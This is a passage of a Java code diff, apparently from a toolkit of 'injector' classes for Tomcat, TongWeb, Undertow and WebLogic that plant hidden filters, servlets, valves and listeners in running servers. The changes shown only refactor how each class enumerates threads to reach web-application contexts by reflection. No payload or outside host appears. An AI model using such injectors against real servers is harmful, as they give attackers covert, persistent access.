|
||||||
}
|
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
||||||
|
|||||||
+2
-4
@@ -45,15 +45,13 @@ public class TomcatServletInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object context : children.values()) {
|
contexts.addAll(children.values());
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
||||||
|
|||||||
+3
-8
@@ -5,10 +5,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -49,15 +46,13 @@ public class TomcatValveInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object context : children.values()) {
|
contexts.addAll(children.values());
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
||||||
|
|||||||
+3
-8
@@ -6,10 +6,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -49,15 +46,13 @@ public class TomcatWebSocketInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
HashMap<?, ?> childrenMap = (HashMap<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
for (Object value : childrenMap.values()) {
|
for (Object value : childrenMap.values()) {
|
||||||
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
HashMap<?, ?> children = (HashMap<?, ?>) getFieldValue(value, "children");
|
||||||
for (Object context : children.values()) {
|
contexts.addAll(children.values());
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} else if (thread.getContextClassLoader() != null
|
} else if (thread.getContextClassLoader() != null
|
||||||
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
&& (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader")
|
||||||
|
|||||||
+2
-5
@@ -6,10 +6,7 @@ import java.io.IOException;
|
|||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Collection;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.logging.Logger;
|
import java.util.logging.Logger;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -49,7 +46,7 @@ public class TongWebFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+1
-1
@@ -39,7 +39,7 @@ public class TongWebListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+1
-1
@@ -39,7 +39,7 @@ public class TongWebValveInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
|
||||||
|
|||||||
+2
-5
@@ -6,10 +6,7 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -48,7 +45,7 @@ public class UndertowFilterInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() {
|
public List<Object> getContext() {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
Class<?> clazz = thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext");
|
Class<?> clazz = thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext");
|
||||||
|
|||||||
+2
-1
@@ -8,6 +8,7 @@ import java.lang.reflect.InvocationTargetException;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
|
||||||
@@ -41,7 +42,7 @@ public class UndertowListenerInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null);
|
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null);
|
||||||
|
|||||||
+2
-1
@@ -8,6 +8,7 @@ import java.lang.reflect.InvocationTargetException;
|
|||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -45,7 +46,7 @@ public class UndertowServletInjector {
|
|||||||
|
|
||||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
try {
|
try {
|
||||||
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null);
|
Object requestContext = invokeMethod(thread.getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current", null, null);
|
||||||
|
|||||||
+2
-6
@@ -87,12 +87,8 @@ public class WebLogicFilterInjector {
|
|||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
public static Object[] getContextsByThreads() throws Throwable {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
int threadCount = threadGroup.activeCount();
|
for (Thread thread : threads) {
|
||||||
Thread[] threads = new Thread[threadCount];
|
|
||||||
threadGroup.enumerate(threads);
|
|
||||||
for (int i = 0; i < threadCount; i++) {
|
|
||||||
Thread thread = threads[i];
|
|
||||||
if (thread != null) {
|
if (thread != null) {
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
Object workEntry = getFieldValue(thread, "workEntry");
|
||||||
if (workEntry != null) {
|
if (workEntry != null) {
|
||||||
|
|||||||
+2
-6
@@ -86,12 +86,8 @@ public class WebLogicListenerInjector {
|
|||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
public static Object[] getContextsByThreads() throws Throwable {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
int threadCount = threadGroup.activeCount();
|
for (Thread thread : threads) {
|
||||||
Thread[] threads = new Thread[threadCount];
|
|
||||||
threadGroup.enumerate(threads);
|
|
||||||
for (int i = 0; i < threadCount; i++) {
|
|
||||||
Thread thread = threads[i];
|
|
||||||
if (thread != null) {
|
if (thread != null) {
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
Object workEntry = getFieldValue(thread, "workEntry");
|
||||||
if (workEntry != null) {
|
if (workEntry != null) {
|
||||||
|
|||||||
+2
-6
@@ -92,12 +92,8 @@ public class WebLogicServletInjector {
|
|||||||
|
|
||||||
public static Object[] getContextsByThreads() throws Throwable {
|
public static Object[] getContextsByThreads() throws Throwable {
|
||||||
Set<Object> webappContexts = new HashSet<Object>();
|
Set<Object> webappContexts = new HashSet<Object>();
|
||||||
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
int threadCount = threadGroup.activeCount();
|
for (Thread thread : threads) {
|
||||||
Thread[] threads = new Thread[threadCount];
|
|
||||||
threadGroup.enumerate(threads);
|
|
||||||
for (int i = 0; i < threadCount; i++) {
|
|
||||||
Thread thread = threads[i];
|
|
||||||
if (thread != null) {
|
if (thread != null) {
|
||||||
Object workEntry = getFieldValue(thread, "workEntry");
|
Object workEntry = getFieldValue(thread, "workEntry");
|
||||||
if (workEntry != null) {
|
if (workEntry != null) {
|
||||||
|
|||||||
Reference in New Issue
Block a user